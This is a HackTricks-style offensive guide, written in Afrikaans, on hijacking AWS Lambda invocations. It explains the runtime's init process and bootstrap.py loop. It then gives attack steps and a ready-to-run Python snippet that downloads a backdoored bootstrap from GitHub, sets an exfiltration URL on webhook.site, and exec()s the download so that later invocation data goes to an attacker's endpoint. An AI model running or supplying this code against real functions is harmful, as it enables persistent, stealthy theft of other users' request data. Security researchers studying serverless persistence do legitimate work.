# AWS - Steel Lambda Versoeke

{{#include ../../../../banners/hacktricks-training.md}}

## Lambda Stroom

<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>

1. **Slicer** is 'n proses buite die houer wat **stuur** **aanroepings** na die **init** proses.
2. Die init proses luister op poort **9001** wat 'n paar interessante eindpunte blootstel:
- **`/2018-06-01/runtime/invocation/next`** – kry die volgende aanroepingsgebeurtenis
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – keer die handler respons vir die aanroep terug
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – keer 'n uitvoeringsfout terug
3. **bootstrap.py** het 'n lus wat aanroepings van die init proses kry en roep die gebruikerskode aan om dit te hanteer (**`/next`**).
4. Laastens, **bootstrap.py** stuur die **respons** na init

Let daarop dat bootstrap die gebruikerskode as 'n module laai, so enige kode-uitvoering wat deur die gebruikerskode uitgevoer word, gebeur eintlik in hierdie proses.

## Steel Lambda Versoeke

Die doel van hierdie aanval is om die gebruikerskode 'n kwaadwillige **`bootstrap.py`** proses binne die **`bootstrap.py`** proses te laat uitvoer wat die kwesbare versoek hanteer. Op hierdie manier sal die **kwaadwillige bootstrap** proses begin **praat met die init proses** om die versoeke te hanteer terwyl die **legitieme** bootstrap **gevang** is wat die kwaadwillige een uitvoer, sodat dit nie versoeke aan die init proses sal vra nie.

Dit is 'n eenvoudige taak om te bereik aangesien die kode van die gebruiker deur die legitieme **`bootstrap.py`** proses uitgevoer word. So die aanvaller kan:

- **Stuur 'n vals resultaat van die huidige aanroep na die init proses**, sodat init dink die bootstrap proses wag vir meer aanroepings.
- 'n Versoek moet gestuur word na **`/${invoke-id}/response`**
- Die invoke-id kan verkry word uit die stapel van die legitieme **`bootstrap.py`** proses deur die [**inspect**](https://docs.python.org/3/library/inspect.html) python module (soos [hier voorgestel](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) of net weer aan te vra by **`/2018-06-01/runtime/invocation/next`** (soos [hier voorgestel](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Voer 'n kwaadwillige **`boostrap.py`** uit wat die volgende aanroepings sal hanteer
- Vir stealthiness doeleindes is dit moontlik om die lambda aanroepingsparameters na 'n aanvaller beheerde C2 te stuur en dan die versoeke soos gewoonlik te hanteer.
- Vir hierdie aanval is dit genoeg om die oorspronklike kode van **`bootstrap.py`** van die stelsel of [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) te kry, die kwaadwillige kode by te voeg en dit van die huidige lambda aanroep af uit te voer.

### Aanval Stappe

1. Vind 'n **RCE** kwesbaarheid.
2. Genereer 'n **kwaadwillige** **bootstrap** (bv. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Voer** die kwaadwillige bootstrap uit.

Jy kan hierdie aksies maklik uitvoer deur:
```bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF
```
Vir meer inligting, kyk na [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)

## Verwysings

- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)

{{#include ../../../../banners/hacktricks-training.md}}
